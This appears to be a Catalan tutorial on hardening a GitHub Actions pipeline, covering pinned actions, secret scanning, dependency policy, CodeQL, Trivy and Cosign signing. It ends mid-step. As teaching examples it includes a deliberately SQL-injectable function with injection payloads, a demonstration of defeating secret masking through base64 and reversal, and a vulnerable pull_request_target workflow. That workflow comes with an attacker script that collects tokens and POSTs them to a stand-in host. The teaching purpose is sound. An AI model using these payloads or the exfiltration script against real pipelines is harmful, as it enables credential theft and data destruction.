git checkout main && git pull
git checkout -b enfortir-pipeline

# Eina d auditoria rapida: quines accions fas servir i com estan fixades
grep -rhoP '(?<=uses: ).*' .github/workflows/ | sort -u

# Quins jobs declaren permisos
grep -rn -A3 'permissions:' .github/workflows/

# Quins secrets es fan servir i on
grep -rn 'secrets\.' .github/workflows/

gh api --method PUT "repos/{owner}/{repo}/actions/permissions/workflow" \
  -f default_workflow_permissions=read \
  -F can_approve_pull_request_reviews=false

# .github/workflows/ci.yml
permissions:
  contents: read      # tota la resta queda en `none`

jobs:
  qualitat:
    # sense bloc `permissions`: hereta contents: read
    ...

  publicar:
    permissions:
      contents: read
      packages: write   # nomes aquest job pot escriure al registre
      id-token: write   # nomes aquest job pot demanar un token OIDC
    ...

ERROR: failed to push ghcr.io/el-teu-usuari/mini-reservalia:sha-8f3c1e2:
denied: installation not allowed to Create organization package

# Resoldre el SHA d una etiqueta
gh api repos/actions/checkout/git/refs/tags/v4 --jq '.object.sha'

#!/usr/bin/env bash
# scripts/fixar-accions.sh
# Substitueix `owner/repo@vX` per `owner/repo@<sha>  # vX` als workflows.
set -Eeuo pipefail

command -v gh >/dev/null || { echo "Cal la CLI de GitHub (gh)"; exit 2; }

for fitxer in .github/workflows/*.yml; do
  echo "== $fitxer"
  # Nomes les accions de repositori (owner/repo@ref); s exclouen
  # les locals (./.github/actions/...) i les de docker://
  grep -oP '(?<=uses: )[\w.-]+/[\w.-]+(?:/[\w.-]+)*@[\w.-]+' "$fitxer" | sort -u | while read -r ref; do
    accio="${ref%@*}"
    versio="${ref#*@}"
    # Si ja son 40 caracters hexadecimals, esta fixada: no tocar.
    [[ "$versio" =~ ^[0-9a-f]{40}$ ]] && continue

    repo="$(cut -d/ -f1,2 <<< "$accio")"
    sha="$(gh api "repos/${repo}/git/refs/tags/${versio}" --jq '.object.sha' 2>/dev/null || true)"
    # Les etiquetes anotades apunten a un objecte tag, no al commit:
    # cal desreferenciar-les.
    if [ -n "$sha" ]; then
      tipus="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha' 2>/dev/null || true)"
      [ -n "$tipus" ] && sha="$tipus"
    fi
    [ -z "$sha" ] && { echo "  ! no s ha pogut resoldre $ref"; continue; }

    echo "  $ref -> $sha"
    sed -i "s|uses: ${accio}@${versio}\$|uses: ${accio}@${sha} # ${versio}|g" "$fitxer"
  done
done
echo "Fet. Revisa el diff abans de cometre."

chmod +x scripts/fixar-accions.sh
./scripts/fixar-accions.sh
git diff

-      - uses: actions/checkout@v4
+      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
-      - uses: actions/setup-node@v4
+      - uses: actions/setup-node@39370e3970a6d050c480ffad4ff0ed4d3fdee5af # v4.1.0

version: 2
updates:
  # 1. Les accions de GitHub Actions
  - package-ecosystem: github-actions
    directory: /
    schedule:
      interval: weekly
      day: monday
      time: '06:00'
    open-pull-requests-limit: 5
    commit-message:
      prefix: 'ci'
    labels: ['dependencies', 'ci']

  # 2. Les dependencies de npm
  - package-ecosystem: npm
    directory: /
    schedule:
      interval: weekly
    open-pull-requests-limit: 10
    commit-message:
      prefix: 'deps'
    labels: ['dependencies']
    groups:
      # Agrupar les de desenvolupament en un sol PR: 8 PR de pedacos
      # d eslint per setmana es la manera mes rapida que l equip apreng
      # a ignorar els PR de Dependabot.
      desenvolupament:
        dependency-type: development
        update-types: ['minor', 'patch']
    ignore:
      # Les majors es revisen a ma, no automaticament.
      - dependency-name: '*'
        update-types: ['version-update:semver-major']

  # 3. La imatge base del Dockerfile
  - package-ecosystem: docker
    directory: /
    schedule:
      interval: weekly
    labels: ['dependencies', 'docker']

# .gitleaks.toml
title = "Mini-Reservalia"

# Partim de les ~150 regles per defecte de Gitleaks i hi afegim les nostres.
[extend]
useDefault = true

[[rules]]
id = "token-intern-reservalia"
description = "Token intern de Reservalia (rsv_...)"
regex = '''rsv_[a-zA-Z0-9]{32}'''
tags = ["clau", "intern"]

[[rules]]
id = "url-postgres-amb-contrasenya"
description = "Cadena de connexio de PostgreSQL amb contrasenya"
regex = '''postgres(?:ql)?://[^:\s]+:[^@\s]{6,}@[^\s/]+'''
tags = ["base-dades"]

[allowlist]
description = "Falsos positius coneguts i justificats"
paths = [
  '''package-lock\.json''',          # els integrity hashes semblen claus
  '''(.*?)(jpg|png|webp|pdf)$''',
  '''cursos_contenido/.*\.md$''',
]
regexes = [
  '''EXAMPLE|EXEMPLE|xxxxx|CANVIA_ME|placeholder''',   # valors de documentacio
  '''postgres://postgres:prova@localhost''',           # el de les proves de la 07-02
]

  secrets:
    name: Deteccio de secrets
    runs-on: ubuntu-latest
    timeout-minutes: 10
    permissions:
      contents: read
      security-events: write
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          # fetch-depth: 0 escaneja TOT l historial, no nomes l ultim commit.
          # Es mes lent pero es l unica manera de trobar el que ja hi ha a dins.
          fetch-depth: 0

      - name: Gitleaks
        uses: gitleaks/gitleaks-action@83373cf2f8c4db6e24b41c1a9b086bb9619e9cd3 # v2.3.7
        env:
          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
          GITLEAKS_ENABLE_UPLOAD_ARTIFACT: 'true'
          GITLEAKS_ENABLE_SUMMARY: 'true'

      - name: Gitleaks (binari fixat per versio)
        run: |
          set -Eeuo pipefail
          VERSION=8.21.2
          curl -sSL "https://github.com/gitleaks/gitleaks/releases/download/v${VERSION}/gitleaks_${VERSION}_linux_x64.tar.gz" \
            | tar -xz gitleaks
          ./gitleaks detect \
            --source . \
            --config .gitleaks.toml \
            --report-format sarif \
            --report-path resultats-gitleaks.sarif \
            --redact \
            --verbose \
            --exit-code 1
          # --redact: els secrets NO apareixen al log del pipeline.
          # Sense aixo, el detector de secrets publica el secret en un log
          # que pot llegir qualsevol amb acces al repositori.

      - name: Pujar resultats a la pestanya Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: resultats-gitleaks.sarif
          category: gitleaks

npm install --save-dev husky
npx husky init
cat > .husky/pre-commit <<'EOF'
#!/usr/bin/env sh
# Escaneja NOMES el que es cometra: rapid (< 1 s).
if command -v gitleaks >/dev/null 2>&1; then
  gitleaks protect --staged --config .gitleaks.toml --redact --verbose || {
    echo ""
    echo "❌ S ha detectat un possible secret als canvis preparats."
    echo "   Treu-lo del codi i fes servir una variable d entorn o un secret del repositori."
    echo "   Si es un fals positiu, afegeix-lo a l allowlist de .gitleaks.toml."
    exit 1
  }
fi
npm run lint && npm test
EOF
chmod +x .husky/pre-commit

git checkout -b filtrar-secret-de-prova

cat > src/config-temporal.js <<'EOF'
// FITXER DE PROVA - s esborrara. NO es un secret real.
export const CONFIG = {
  // Clau d AWS amb el format exacte que busquen els detectors.
  awsAccessKeyId: 'AKIAIOSFODNN7EXAMPLE',
  awsSecretAccessKey: 'wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY',
  tokenIntern: 'rsv_a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
  baseDades: 'postgres://admin:[email protected]:5432/reservalia',
};
EOF

git add src/config-temporal.js
git commit -m "feat: configuracio temporal"   # el hook ho bloqueja si el vas instal·lar

git commit --no-verify -m "feat: configuracio temporal"
git push -u origin filtrar-secret-de-prova
gh pr create --fill

# Exemple amb AWS (equivalent de Reservalia)
aws iam update-access-key --access-key-id AKIA... --status Inactive --user-name servei-ci
aws iam create-access-key --user-name servei-ci
# ...actualitzar el secret a GitHub...
aws iam delete-access-key --access-key-id AKIA... --user-name servei-ci

# A GitHub
gh secret set AWS_ACCESS_KEY_ID --body "AKIA_NOVA"

# AWS CloudTrail: que es va fer amb aquesta clau i des d on
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=AccessKeyId,AttributeValue=AKIA... \
  --start-time "$(date -u -d '30 days ago' +%Y-%m-%dT%H:%M:%SZ)" \
  --max-results 50

# git-filter-repo es l eina recomanada (filter-branch esta obsoleta)
pip install git-filter-repo

# Opcio A: eliminar el fitxer sencer de tot l historial
git filter-repo --path src/config-temporal.js --invert-paths --force

# Opcio B: substituir nomes els valors, conservant els fitxers
cat > /tmp/substitucions.txt <<'EOF'
AKIAIOSFODNN7EXAMPLE==>ROTAT-VEURE-INCIDENT-42
wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY==>ROTAT-VEURE-INCIDENT-42
SuperSecreta2026==>ROTAT-VEURE-INCIDENT-42
EOF
git filter-repo --replace-text /tmp/substitucions.txt --force

# Reescriure el remot (COORDINA-HO amb tot l equip abans)
git remote add origin https://github.com/EL_TEU_USUARI/mini-reservalia.git
git push origin --force --all
git push origin --force --tags

# Els PR, issues i comentaris que citen el commit conserven copies.
# La memoria cau de GitHub tambe. Cal demanar a suport que la purgui:
#   https://support.github.com/contact  -> "Remove cached views"
# A mes: cada FORK del repositori conserva el commit SENCER,
# i tu no pots esborrar els forks d altres persones.

git checkout main
git branch -D filtrar-secret-de-prova
git push origin --delete filtrar-secret-de-prova
gh pr close <numero> 2>/dev/null || true

npm audit --json | jq '.metadata.vulnerabilities'
# { "info": 0, "low": 2, "moderate": 1, "high": 0, "critical": 0, "total": 3 }

# Política de severitats

| Severitat | Producció | Desenvolupament | Acció | Termini |
|---|---|---|---|---|
| **Crítica** | Trenca el build | Trenca el build | Bloqueig immediat | 24 h |
| **Alta** | Trenca el build | Obre un tiquet | Bloqueig en producció | 7 dies |
| **Mitjana** | Obre un tiquet | Obre un tiquet | No bloqueja | 30 dies |
| **Baixa** | Informa | Informa | Revisió trimestral | — |

**Excepcions.** Tota excepció requereix: (a) justificació escrita,
(b) data de caducitat no superior a 90 dies, (c) aprovació d'un segon
revisor. Es registren a `seguretat/excepcions.json` i **caduquen soles**:
passada la data, el build torna a trencar-se.

**Sense `|| true`.** Si un escaneig no pot trencar el build, no és un control.
Si alguna cosa no l'ha de trencar, es decideix aquí, no al YAML.

#!/usr/bin/env bash
# Aplica la politica de severitats sobre `npm audit --json`.
set -Eeuo pipefail

INFORME="${INFORME:-informes/audit.json}"
EXCEPCIONS="${EXCEPCIONS:-seguretat/excepcions.json}"
mkdir -p "$(dirname "$INFORME")"

# `|| true`: npm audit surt amb codi != 0 quan troba alguna cosa.
# Aqui NO ignorem el resultat: el processem nosaltres amb la politica.
npm audit --json > "$INFORME" 2>/dev/null || true

AVUI="$(date -u +%Y-%m-%d)"

# --- Excepcions vigents (les caducades s ignoren expressament) ---------------
VIGENTS='[]'
if [ -f "$EXCEPCIONS" ]; then
  VIGENTS=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca >= $avui) | .id]' "$EXCEPCIONS")
  CADUCADES=$(jq --arg avui "$AVUI" '[.excepcions[] | select(.caduca < $avui)]' "$EXCEPCIONS")
  N_CADUCADES=$(jq 'length' <<< "$CADUCADES")
  if [ "$N_CADUCADES" -gt 0 ]; then
    echo "::warning::$N_CADUCADES excepcio(ns) de seguretat han caducat i tornen a bloquejar:"
    jq -r '.[] | "  - \(.id): \(.motiu) (va caducar el \(.caduca))"' <<< "$CADUCADES"
  fi
fi

# --- Classificar les troballes ----------------------------------------------
BLOQUEJANTS=$(jq --argjson exc "$VIGENTS" '
  [ .vulnerabilities // {} | to_entries[]
    | select(.value.severity == "critical" or .value.severity == "high")
    | select((.value.isDirect == true) or (.value.effects | length) > 0)
    | select((.key | IN($exc[])) | not)
    | { paquet: .key, severitat: .value.severity, via: (.value.via | map(if type=="object" then .title else . end)) }
  ]' "$INFORME")

N_BLOQ=$(jq 'length' <<< "$BLOQUEJANTS")
RESUM=$(jq -r '.metadata.vulnerabilities | "critiques: \(.critical) · altes: \(.high) · mitjanes: \(.moderate) · baixes: \(.low)"' "$INFORME")

{
  echo "## Auditoria de dependencies"
  echo ""
  echo "**Resum:** $RESUM"
  echo ""
  if [ "$N_BLOQ" -gt 0 ]; then
    echo "### ❌ $N_BLOQ troballa/es bloquejant(s)"
    echo ""
    echo "| Paquet | Severitat | Detall |"
    echo "|---|---|---|"
    jq -r '.[] | "| `\(.paquet)` | \(.severitat) | \(.via | join(", ") | .[0:90]) |"' <<< "$BLOQUEJANTS"
  else
    echo "### ✅ Sense troballes bloquejants segons la política"
  fi
  echo ""
  echo "> Política completa a [\`seguretat/POLITICA.md\`](seguretat/POLITICA.md)"
} >> "${GITHUB_STEP_SUMMARY:-/dev/stdout}"

if [ "$N_BLOQ" -gt 0 ]; then
  echo "::error::$N_BLOQ vulnerabilitat(s) critica(es)/alta(es) sense excepcio vigent"
  jq -r '.[] | "  - \(.paquet) [\(.severitat)]"' <<< "$BLOQUEJANTS"
  exit 1
fi
echo "Auditoria superada: $RESUM"

{
  "$comentari": "Excepcions de seguretat. Cadascuna CADUCA. Vegeu seguretat/POLITICA.md.",
  "excepcions": [
    {
      "id": "exemple-paquet",
      "severitat": "high",
      "motiu": "Només afecta l'anàlisi de fitxers SVG pujats per l'usuari; Mini-Reservalia no accepta pujades. Encara no hi ha pedaç (upstream #1234).",
      "aprovat_per": "@marta",
      "creada": "2026-04-10",
      "caduca": "2026-07-09",
      "revisio": "Comprovar si upstream ha publicat el pedaç"
    }
  ]
}

  codeql:
    name: SAST (CodeQL)
    runs-on: ubuntu-latest
    timeout-minutes: 20
    permissions:
      contents: read
      security-events: write
      actions: read
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Inicialitzar CodeQL
        uses: github/codeql-action/init@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          languages: javascript-typescript
          # `security-extended` afegeix consultes de menys precisio pero mes
          # cobertura. En un projecte petit el soroll es assumible; en un de
          # gran, comenca per `security-and-quality` i puja des d aqui.
          queries: security-extended

      - name: Analitzar
        uses: github/codeql-action/analyze@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          category: '/language:javascript-typescript'

  /**
   * VULNERABLE EXPRESSAMENT - exercici de la llico 07-05.
   * Concatena l entrada de l usuari a la consulta SQL.
   */
  cercarPerClient(nom) {
    // ❌ INJECCIO SQL: `nom` ve d un parametre de la peticio.
    //    Amb nom = "' OR '1'='1" es retornen TOTES les cites.
    //    Amb nom = "'; DROP TABLE cites; --" es perd la taula.
    return this.#db.prepare(`SELECT * FROM cites WHERE client = '${nom}'`).all();
  }

      if (req.method === 'GET' && url.pathname === '/api/cercar') {
        const nom = url.searchParams.get('client') ?? '';
        // ❌ `nom` va sense sanejar a una consulta construida per concatenacio
        return respondreJson(res, 200, { resultats: repositori.cercarPerClient(nom) });
      }

Database query built from user-controlled sources                    High
src/repositori-sqlite.js:52

This query depends on a user-provided value.
  ← flows from: url.searchParams.get('client')  (src/servidor.js:78)

npm start &
curl -s "localhost:3000/api/cercar?client=Anna"
# {"resultats":[{"id":1,"client":"Anna",...}]}

curl -s "localhost:3000/api/cercar?client=%27%20OR%20%271%27=%271"
# {"resultats":[ ...TOTES les cites de TOTS els clients... ]}

  /**
   * Cerca cites pel nom exacte del client.
   * Sentencia PREPARADA amb parametre: el motor tracta el valor com a DADA,
   * mai com a SQL. La injeccio es impossible per construccio, no per
   * sanejat. Sanejar es un pedac; parametritzar es la solucio.
   */
  cercarPerClient(nom) {
    if (typeof nom !== 'string' || nom.length === 0 || nom.length > 80) {
      throw new TypeError('nom de client invalid');
    }
    return this.#db
      .prepare('SELECT id, data, inici, fi, client FROM cites WHERE client = ? ORDER BY data, inici')
      .all(nom);
  }

// test/injeccio.test.js
import test, { describe, beforeEach } from 'node:test';
import assert from 'node:assert/strict';
import { RepositoriSqlite } from '../src/repositori-sqlite.js';

describe('resistencia a la injeccio SQL', () => {
  let repo;
  beforeEach(() => {
    repo = new RepositoriSqlite(':memory:');
    repo.crearCita({ data: '2026-03-02', inici: '10:00', fi: '10:30', client: 'Anna' });
    repo.crearCita({ data: '2026-03-02', inici: '11:00', fi: '11:30', client: 'Diego' });
  });

  test("' OR '1'='1 no retorna totes les files", () => {
    assert.deepEqual(repo.cercarPerClient("' OR '1'='1"), []);
  });

  test('un DROP TABLE injectat no destrueix res', () => {
    repo.cercarPerClient("'; DROP TABLE cites; --");
    assert.equal(repo.llistarCites('2026-03-02').length, 2); // la taula continua alli
  });

  test('un nom amb cometa simple es cerca literalment', () => {
    repo.crearCita({ data: '2026-03-03', inici: '10:00', fi: '10:30', client: "O'Brien" });
    assert.equal(repo.cercarPerClient("O'Brien").length, 1);
  });
});

      - name: Escanejar la imatge amb Trivy
        uses: aquasecurity/trivy-action@18f2510ee396bbf400402947b394f2dd8c87dbb0 # 0.29.0
        with:
          image-ref: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: sarif
          output: trivy.sarif
          severity: 'CRITICAL,HIGH'
          # `0` aqui: NO trenquem amb l accio, per poder pujar SEMPRE el
          # SARIF a la pestanya Security. La decisio de trencar la pren el
          # pas seguent, amb la NOSTRA politica i les NOSTRES excepcions.
          exit-code: '0'
          ignore-unfixed: true    # sense pedac disponible no hi ha accio possible
          trivyignores: seguretat/.trivyignore

      - name: Pujar resultats a Security
        if: always()
        uses: github/codeql-action/upload-sarif@f09c1c0a94de965c15400f5634aa42fac8fb8f88 # v3.27.5
        with:
          sarif_file: trivy.sarif
          category: trivy-imatge

      - name: Aplicar la politica de severitats a la imatge
        run: |
          set -Eeuo pipefail
          docker run --rm -v "$PWD:/w" -w /w \
            aquasec/trivy:0.58.0 image \
              --format json --output /w/trivy.json \
              --severity CRITICAL,HIGH --ignore-unfixed \
              --ignorefile /w/seguretat/.trivyignore \
              "ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"

          CRIT=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="CRITICAL")] | length' trivy.json)
          ALTA=$(jq '[.Results[]?.Vulnerabilities[]? | select(.Severity=="HIGH")]     | length' trivy.json)

          {
            echo "## Escaneig de la imatge (Trivy)"
            echo ""
            echo "| Severitat | Amb pedaç disponible |"
            echo "|---|---|"
            echo "| CRÍTICA | $CRIT |"
            echo "| ALTA | $ALTA |"
            echo ""
            if [ "$CRIT" -gt 0 ] || [ "$ALTA" -gt 0 ]; then
              echo "| CVE | Paquet | Instal·lada | Corregida a |"
              echo "|---|---|---|---|"
              jq -r '[.Results[]?.Vulnerabilities[]?
                      | select(.Severity=="CRITICAL" or .Severity=="HIGH")]
                     | unique_by(.VulnerabilityID) | .[]
                     | "| \(.VulnerabilityID) | \(.PkgName) | \(.InstalledVersion) | \(.FixedVersion // "—") |"' trivy.json
            fi
          } >> "$GITHUB_STEP_SUMMARY"

          # Politica: les critiques trenquen SEMPRE; les altes nomes a main.
          if [ "$CRIT" -gt 0 ]; then
            echo "::error::$CRIT vulnerabilitat(s) CRITICA(es) amb pedac disponible a la imatge"
            exit 1
          fi
          if [ "$ALTA" -gt 0 ] && [ "${{ github.ref }}" = "refs/heads/main" ]; then
            echo "::error::$ALTA vulnerabilitat(s) ALTA(es) amb pedac disponible; no es publica des de main"
            exit 1
          fi
          echo "Escaneig d imatge superat."

# EXCEPCIONS D ESCANEIG D IMATGE
# Format: cada CVE porta JUSTIFICACIO, APROVADOR i CADUCITAT.
# El job `caducitat-excepcions` falla quan una passa de data.

# CVE-2024-XXXXX
#   Paquet:        libsomething 2.1.0
#   Justificació:  només explotable en processar fitxers TIFF; Mini-Reservalia
#                  no processa imatges. Debian no ha publicat cap backport.
#   Aprovat per:   @marta
#   Creada:        2026-04-10
#   CADUCA:        2026-07-09
CVE-2024-XXXXX

  caducitat-excepcions:
    name: Caducitat de les excepcions
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - name: Comprovar que cap excepcio no ha caducat
        run: |
          set -Eeuo pipefail
          AVUI=$(date -u +%Y-%m-%d)
          CADUCADES=0
          # Recorre els blocs de comentari buscant "CADUCA: data"
          while read -r linia; do
            DATA=$(grep -oP '(?<=CADUCA:\s{8})\S+|(?<=CADUCA:\s)\S+' <<< "$linia" | head -1)
            [ -z "$DATA" ] && continue
            if [[ "$DATA" < "$AVUI" ]]; then
              echo "::error::Excepció caducada el $DATA: $linia"
              CADUCADES=$((CADUCADES + 1))
            fi
          done < <(grep -h 'CADUCA:' seguretat/.trivyignore || true)

          # I les de npm audit
          if [ -f seguretat/excepcions.json ]; then
            N=$(jq --arg a "$AVUI" '[.excepcions[] | select(.caduca < $a)] | length' seguretat/excepcions.json)
            [ "$N" -gt 0 ] && { echo "::error::$N excepció/ons de dependencies caducades"; CADUCADES=$((CADUCADES+N)); }
          fi

          [ "$CADUCADES" -eq 0 ] || { echo "Hi ha $CADUCADES excepció/ons caducada/es. Renova-les o arregla el problema."; exit 1; }
          echo "Totes les excepcions són vigents."

# ---------- Etapa 3 alternativa: distroless ----------
FROM gcr.io/distroless/nodejs20-debian12:nonroot AS runtime
WORKDIR /app
COPY --from=deps  --chown=nonroot:nonroot /app/node_modules ./node_modules
COPY --from=build --chown=nonroot:nonroot /app/dist ./dist
USER nonroot
EXPOSE 3000
# Sense shell: l ENTRYPOINT es el binari de node directament.
CMD ["dist/src/servidor.js"]

      - name: Generar SBOM (CycloneDX)
        uses: anchore/sbom-action@df80a981bc6edbc4e220a492d3cbe9f5547a6e75 # v0.17.9
        with:
          image: ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}
          format: cyclonedx-json
          output-file: sbom.cdx.json
          artifact-name: sbom-${{ github.sha }}.cdx.json

      - name: Resum de l SBOM
        run: |
          TOTAL=$(jq '.components | length' sbom.cdx.json)
          {
            echo "## SBOM"
            echo ""
            echo "**$TOTAL components** inventariats."
            echo ""
            echo "<details><summary>Primers 20</summary>"
            echo ""
            echo "| Component | Versió | Tipus |"
            echo "|---|---|---|"
            jq -r '.components[:20][] | "| \(.name) | \(.version // "—") | \(.type) |"' sbom.cdx.json
            echo ""
            echo "</details>"
          } >> "$GITHUB_STEP_SUMMARY"

      - name: Instal·lar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Signar la imatge (keyless per OIDC)
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          # Signatura SENSE CLAUS: Cosign demana un token OIDC a GitHub, obte un
          # certificat efimer de Fulcio (validesa ~10 min) i registra la signatura
          # al log public Rekor. No hi ha cap clau privada a rotar, desar
          # ni filtrar: el problema de la gestio de claus desapareix.
          cosign sign --yes "$IMATGE"

      - name: Adjuntar l SBOM com a attestation signada
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          IMATGE="ghcr.io/${{ github.repository }}@${{ steps.construir.outputs.digest }}"
          cosign attest --yes --predicate sbom.cdx.json --type cyclonedx "$IMATGE"

cosign verify \
  --certificate-identity-regexp "https://github.com/EL_TEU_USUARI/mini-reservalia/.github/workflows/ci.yml@refs/heads/main" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...

Verification for ghcr.io/el-teu-usuari/mini-reservalia@sha256:3f9a... --
The following checks were performed on each of these signatures:
  - The cosign claims were validated
  - Existence of the claims in the transparency log was verified offline
  - The code-signing certificate was verified using trusted certificate authority certificates

[{"critical":{"identity":{"docker-reference":"ghcr.io/el-teu-usuari/mini-reservalia"},
  "image":{"docker-manifest-digest":"sha256:3f9a..."},"type":"cosign container image signature"},
  "optional":{"Issuer":"https://token.actions.githubusercontent.com",
  "Subject":"https://github.com/el-teu-usuari/mini-reservalia/.github/workflows/ci.yml@refs/heads/main"}}]

cosign verify --certificate-identity-regexp "https://github.com/altre/repo/.*" \
  --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
  ghcr.io/EL_TEU_USUARI/mini-reservalia@sha256:...
# Error: no matching signatures

      - name: Instal·lar Cosign
        uses: sigstore/cosign-installer@dc72c7d5c4d10cd6bcb8cf6e3fd625a9e5e537da # v3.7.0

      - name: Verificar la signatura ABANS de desplegar
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          set -Eeuo pipefail
          IMATGE="${{ needs.preparar.outputs.imatge }}"
          echo "Verificant la signatura de $IMATGE"

          # La identitat esperada es EXACTA: aquest repositori, aquest workflow,
          # aquesta branca. Un `--certificate-identity-regexp ".*"` acceptaria
          # qualsevol signatura de qualsevol: seria pitjor que no verificar,
          # perque dona una falsa sensacio de seguretat.
          if ! cosign verify \
              --certificate-identity-regexp "^https://github.com/${{ github.repository }}/\.github/workflows/ci\.yml@refs/heads/main$" \
              --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
              "$IMATGE" > verificacio.json 2>&1; then
            echo "::error::SIGNATURA NO VALIDA. No es desplega."
            cat verificacio.json
            {
              echo "## 🛑 Desplegament avortat: signatura no vàlida"
              echo ""
              echo "La imatge \`$IMATGE\` no està signada pel workflow de CI d'aquest repositori."
              echo "Causes possibles: imatge construïda fora del pipeline, signatura absent, o suplantació."
            } >> "$GITHUB_STEP_SUMMARY"
            exit 1
          fi

          echo "✅ Signatura verificada: construïda pel CI d'aquest repositori." >> "$GITHUB_STEP_SUMMARY"

      - name: Verificar l attestation de l SBOM
        env:
          COSIGN_EXPERIMENTAL: '1'
        run: |
          cosign verify-attestation --type cyclonedx \
            --certificate-identity-regexp "^https://github.com/${{ github.repository }}/.*" \
            --certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
            "${{ needs.preparar.outputs.imatge }}" > /dev/null
          echo "✅ SBOM verificat i adjunt a l'artefacte." >> "$GITHUB_STEP_SUMMARY"

docker pull alpine:3.20
docker tag alpine:3.20 ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
docker push ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa
DIGEST=$(docker buildx imagetools inspect ghcr.io/EL_TEU_USUARI/mini-reservalia:falsa --format '{{.Manifest.Digest}}')

gh workflow run cd.yml -f digest="$DIGEST"

Error: no matching signatures:
::error::SIGNATURA NO VALIDA. No es desplega.

# Malament: accessible des de qualsevol workflow
gh secret delete GRAFANA_TOKEN

# Be: nomes des de jobs amb environment: produccio, i nomes despres d aprovacio
gh secret set GRAFANA_TOKEN --env produccio --body "glsa_xxxxx"
gh secret list --env produccio

  prova-emmascarat:
    name: Limits de l emmascarat
    runs-on: ubuntu-latest
    steps:
      - name: 1. Imprimir el secret directament
        run: |
          echo "Intent directe: ${{ secrets.SECRET_PROVA }}"
          echo "Per variable: $SECRET"
        env:
          SECRET: ${{ secrets.SECRET_PROVA }}
        # SORTIDA: "Intent directe: ***"  i  "Per variable: ***"
        # L emmascarat funciona: Actions busca el valor exacte a cada
        # linia de log i el substitueix per ***.

      - name: 2. Transformacions que TRENQUEN l emmascarat
        env:
          SECRET: ${{ secrets.SECRET_PROVA }}
        run: |
          echo "--- base64 ---"
          echo "$SECRET" | base64
          # SORTIDA: ZWxfbWV1X3NlY3JldC1zdXBlci0xMjM=  <- NO emmascarat

          echo "--- caracter a caracter ---"
          echo "$SECRET" | fold -w1 | tr '\n' ' '
          # SORTIDA: e l _ m e u _ s e c r e t ...     <- NO emmascarat

          echo "--- invertit ---"
          echo "$SECRET" | rev
          # SORTIDA: 321-repus-terces_uem_le            <- NO emmascarat

          echo "--- en hexadecimal ---"
          echo -n "$SECRET" | xxd -p
          # SORTIDA: 656c5f6d65755f736563726574...      <- NO emmascarat

          echo "--- per parts ---"
          echo "primera meitat: ${SECRET:0:8}"
          echo "segona meitat: ${SECRET:8}"
          # SORTIDA: totes dues visibles                <- NO emmascarat

gh secret set SECRET_PROVA --body "el_meu_secret-super-123"

# A la capcalera de qualsevol script que gestioni credencials:
set +x                    # no tracar mai
export PS4=''             # per si alguna cosa ho activa
# I desactivar el bolcat de nucli, que podria contenir el secret en memoria:
ulimit -c 0

# ❌❌❌ VULNERABLE. NO FER SERVIR. Exemple didactic.
name: PR vulnerable
on:
  pull_request_target:      # 1. S executa amb secrets i token d escriptura
    types: [opened, synchronize]

jobs:
  comprovar:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # 2. LA FALLADA: descarrega explicitament el codi DEL PR,
          #    que es codi d un desconegut, en un context privilegiat.
          ref: ${{ github.event.pull_request.head.sha }}

      - uses: actions/setup-node@v4
      # 3. L EXECUCIO: `npm ci` executa els scripts `postinstall`
      #    del package.json DE L ATACANT. Ja esta: execucio de codi
      #    arbitrari amb tots els teus secrets a l entorn.
      - run: npm ci
      - run: npm test
        env:
          TOKEN_DESPLEGAMENT: ${{ secrets.TOKEN_DESPLEGAMENT }}

{
  "scripts": {
    "postinstall": "node .exfiltrar.js"
  }
}

// El codi de l atacant, executat al TEU runner amb els TEUS secrets.
// Recorre tot l entorn i l envia a fora.
const boti = Object.entries(process.env)
  .filter(([k]) => /TOKEN|SECRET|KEY|PASSWORD|CREDENTIAL|AWS|NPM/i.test(k))
  .map(([k, v]) => `${k}=${v}`)
  .join('\n');

// L emmascarat NO ajuda: el secret no s imprimeix, s ENVIA.
fetch('https://servidor-de-l-atacant.example/recollir', {
  method: 'POST',
  body: boti,
});

on:
  pull_request:      # sense secrets, sense token d escriptura, sense problema

on:
  pull_request_target:
    types: [opened]

permissions:
  pull-requests: write     # el minim per etiquetar
  contents: read

jobs:
  etiquetar:
    runs-on: ubuntu-latest
    steps:
      # SENSE `ref:` -> es descarrega `main`, codi de confianca.
      # De fet, per a aixo ni tan sols cal checkout.
      - name: Etiquetar segons el titol
        env:
